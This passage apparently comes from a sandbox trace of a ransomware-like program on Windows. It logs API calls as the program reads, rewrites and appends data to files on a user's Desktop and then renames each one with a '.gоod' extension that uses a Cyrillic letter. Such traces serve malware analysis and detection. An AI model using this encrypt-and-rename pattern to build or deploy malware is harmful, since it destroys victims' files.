nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x37adff8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0199.321] CloseHandle (hObject=0x838) returned 1 [0199.321] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif", lpFilePart=0x0) returned 0x2f [0199.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0199.321] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\mubj5usfpvxvjsxj _a.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0199.321] GetFileType (hFile=0x838) returned 0x1 [0199.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0199.321] GetFileType (hFile=0x838) returned 0x1 [0199.321] WriteFile (in: hFile=0x838, lpBuffer=0x36a6448*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x36a6448*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0199.321] CloseHandle (hObject=0x838) returned 1 [0199.321] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif", lpFilePart=0x0) returned 0x2f [0199.321] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif.gоod", lpFilePart=0x0) returned 0x34 [0199.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0199.322] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\mubj5usfpvxvjsxj _a.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3a7b6b0, ftCreationTime.dwHighDateTime=0x1d4d442, ftLastAccessTime.dwLowDateTime=0x769da660, ftLastAccessTime.dwHighDateTime=0x1d4d2af, ftLastWriteTime.dwLowDateTime=0x730483fa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3941)) returned 1 [0199.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0199.322] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\mubj5usfpvxvjsxj _a.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\mubJ5UsfpVxVjsxJ _a.gif.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\mubj5usfpvxvjsxj _a.gif.gоod")) returned 1 [0199.322] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv", lpFilePart=0x0) returned 0x20 [0199.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0199.322] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\npdb.flv"), fInfoLevelId=0x0, lpFileInformation=0x37c0a18 | out: lpFileInformation=0x37c0a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f8bcab0, ftCreationTime.dwHighDateTime=0x1d4d434, ftLastAccessTime.dwLowDateTime=0x1a1eb2f0, ftLastAccessTime.dwHighDateTime=0x1d4cb87, ftLastWriteTime.dwLowDateTime=0x1a1eb2f0, ftLastWriteTime.dwHighDateTime=0x1d4cb87, nFileSizeHigh=0x0, nFileSizeLow=0x11115)) returned 1 [0199.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0199.323] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv", lpFilePart=0x0) returned 0x20 [0199.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0199.323] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\npdb.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0199.323] GetFileType (hFile=0x838) returned 0x1 [0199.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0199.323] GetFileType (hFile=0x838) returned 0x1 [0199.323] SetFilePointer (in: hFile=0x838, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0199.323] ReadFile (in: hFile=0x838, lpBuffer=0x37c0d90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x37c0d90*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0199.324] CloseHandle (hObject=0x838) returned 1 [0199.324] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv", lpFilePart=0x0) returned 0x20 [0199.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0199.324] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\npdb.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0199.324] GetFileType (hFile=0x838) returned 0x1 [0199.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0199.324] GetFileType (hFile=0x838) returned 0x1 [0199.324] SetFilePointer (in: hFile=0x838, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x11115 [0199.324] WriteFile (in: hFile=0x838, lpBuffer=0x37c1fd8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x37c1fd8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0199.324] CloseHandle (hObject=0x838) returned 1 [0199.325] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv", lpFilePart=0x0) returned 0x20 [0199.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0199.325] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\npdb.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0199.325] GetFileType (hFile=0x838) returned 0x1 [0199.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0199.325] GetFileType (hFile=0x838) returned 0x1 [0199.325] ReadFile (in: hFile=0x838, lpBuffer=0x37c4248, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x37c4248*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0204.423] CloseHandle (hObject=0x838) returned 1 [0204.423] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv", lpFilePart=0x0) returned 0x20 [0204.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0204.423] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\npdb.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0204.423] GetFileType (hFile=0x838) returned 0x1 [0204.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0204.423] GetFileType (hFile=0x838) returned 0x1 [0204.423] WriteFile (in: hFile=0x838, lpBuffer=0x327b570*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x327b570*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0204.423] CloseHandle (hObject=0x838) returned 1 [0204.589] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv", lpFilePart=0x0) returned 0x20 [0204.590] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv.gоod", lpFilePart=0x0) returned 0x25 [0204.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0204.590] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\npdb.flv"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f8bcab0, ftCreationTime.dwHighDateTime=0x1d4d434, ftLastAccessTime.dwLowDateTime=0x1a1eb2f0, ftLastAccessTime.dwHighDateTime=0x1d4cb87, ftLastWriteTime.dwLowDateTime=0x760f17f0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x11125)) returned 1 [0204.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0204.590] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\npdb.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\nPDB.flv.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\npdb.flv.gоod")) returned 1 [0204.593] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt", lpFilePart=0x0) returned 0x25 [0204.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0204.593] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt" (normalized: "c:\\users\\fd1hvy\\desktop\\tprvwksms.ppt"), fInfoLevelId=0x0, lpFileInformation=0x33be088 | out: lpFileInformation=0x33be088*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6338b960, ftCreationTime.dwHighDateTime=0x1d4cb49, ftLastAccessTime.dwLowDateTime=0x52bbce0, ftLastAccessTime.dwHighDateTime=0x1d4cab9, ftLastWriteTime.dwLowDateTime=0x52bbce0, ftLastWriteTime.dwHighDateTime=0x1d4cab9, nFileSizeHigh=0x0, nFileSizeLow=0x175ee)) returned 1 [0204.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0204.593] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt", lpFilePart=0x0) returned 0x25 [0204.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0204.594] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt" (normalized: "c:\\users\\fd1hvy\\desktop\\tprvwksms.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0204.594] GetFileType (hFile=0x838) returned 0x1 [0204.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0204.594] GetFileType (hFile=0x838) returned 0x1 [0204.594] SetFilePointer (in: hFile=0x838, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0204.594] ReadFile (in: hFile=0x838, lpBuffer=0x33be420, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x33be420*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0204.595] CloseHandle (hObject=0x838) returned 1 [0204.596] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt", lpFilePart=0x0) returned 0x25 [0204.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0204.596] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt" (normalized: "c:\\users\\fd1hvy\\desktop\\tprvwksms.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0204.596] GetFileType (hFile=0x838) returned 0x1 [0204.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0204.596] GetFileType (hFile=0x838) returned 0x1 [0204.596] SetFilePointer (in: hFile=0x838, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x175ee [0204.596] WriteFile (in: hFile=0x838, lpBuffer=0x33bf678*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x33bf678*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0204.596] CloseHandle (hObject=0x838) returned 1 [0204.597] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt", lpFilePart=0x0) returned 0x25 [0204.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0204.597] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt" (normalized: "c:\\users\\fd1hvy\\desktop\\tprvwksms.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0204.597] GetFileType (hFile=0x838) returned 0x1 [0204.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0204.597] GetFileType (hFile=0x838) returned 0x1 [0204.597] ReadFile (in: hFile=0x838, lpBuffer=0x33c18f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x33c18f8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0204.634] CloseHandle (hObject=0x838) returned 1 [0204.634] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt", lpFilePart=0x0) returned 0x25 [0204.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0205.119] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt" (normalized: "c:\\users\\fd1hvy\\desktop\\tprvwksms.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0205.119] GetFileType (hFile=0x838) returned 0x1 [0205.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0205.119] GetFileType (hFile=0x838) returned 0x1 [0205.119] WriteFile (in: hFile=0x838, lpBuffer=0x33b1980*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x33b1980*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0205.119] CloseHandle (hObject=0x838) returned 1 [0205.776] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt", lpFilePart=0x0) returned 0x25 [0205.776] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt.gоod", lpFilePart=0x0) returned 0x2a [0205.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0205.776] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt" (normalized: "c:\\users\\fd1hvy\\desktop\\tprvwksms.ppt"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6338b960, ftCreationTime.dwHighDateTime=0x1d4cb49, ftLastAccessTime.dwLowDateTime=0x52bbce0, ftLastAccessTime.dwHighDateTime=0x1d4cab9, ftLastWriteTime.dwLowDateTime=0x767a61c6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x175fe)) returned 1 [0205.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0205.776] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt" (normalized: "c:\\users\\fd1hvy\\desktop\\tprvwksms.ppt"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\TPrVWKSms.ppt.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\tprvwksms.ppt.gоod")) returned 1 [0205.778] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif", lpFilePart=0x0) returned 0x23 [0205.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0205.778] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\utymz4s.gif"), fInfoLevelId=0x0, lpFileInformation=0x3582ac8 | out: lpFileInformation=0x3582ac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cb9930, ftCreationTime.dwHighDateTime=0x1d4d5ff, ftLastAccessTime.dwLowDateTime=0xa11890d0, ftLastAccessTime.dwHighDateTime=0x1d4c5f8, ftLastWriteTime.dwLowDateTime=0xa11890d0, ftLastWriteTime.dwHighDateTime=0x1d4c5f8, nFileSizeHigh=0x0, nFileSizeLow=0x178cd)) returned 1 [0205.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0205.778] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif", lpFilePart=0x0) returned 0x23 [0205.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0205.778] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\utymz4s.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0205.779] GetFileType (hFile=0x7f8) returned 0x1 [0205.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0205.779] GetFileType (hFile=0x7f8) returned 0x1 [0205.779] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0205.779] ReadFile (in: hFile=0x7f8, lpBuffer=0x3582e40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3582e40*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0205.780] CloseHandle (hObject=0x7f8) returned 1 [0205.780] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif", lpFilePart=0x0) returned 0x23 [0205.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0205.780] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\utymz4s.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0205.780] GetFileType (hFile=0x7f8) returned 0x1 [0205.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0205.780] GetFileType (hFile=0x7f8) returned 0x1 [0205.780] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x178cd [0205.780] WriteFile (in: hFile=0x7f8, lpBuffer=0x3584088*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3584088*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0205.780] CloseHandle (hObject=0x7f8) returned 1 [0205.780] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif", lpFilePart=0x0) returned 0x23 [0205.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0205.780] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\utymz4s.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0205.781] GetFileType (hFile=0x7f8) returned 0x1 [0205.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0205.781] GetFileType (hFile=0x7f8) returned 0x1 [0205.781] ReadFile (in: hFile=0x7f8, lpBuffer=0x35862f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x35862f8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0205.928] CloseHandle (hObject=0x7f8) returned 1 [0205.928] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif", lpFilePart=0x0) returned 0x23 [0205.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0205.928] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\utymz4s.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0205.928] GetFileType (hFile=0x7f8) returned 0x1 [0205.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0205.929] GetFileType (hFile=0x7f8) returned 0x1 [0205.929] WriteFile (in: hFile=0x7f8, lpBuffer=0x33fb6e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x33fb6e8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0205.929] CloseHandle (hObject=0x7f8) returned 1 [0205.929] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif", lpFilePart=0x0) returned 0x23 [0205.929] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif.gоod", lpFilePart=0x0) returned 0x28 [0205.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0205.929] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\UtymZ4s.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\utymz4s.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, 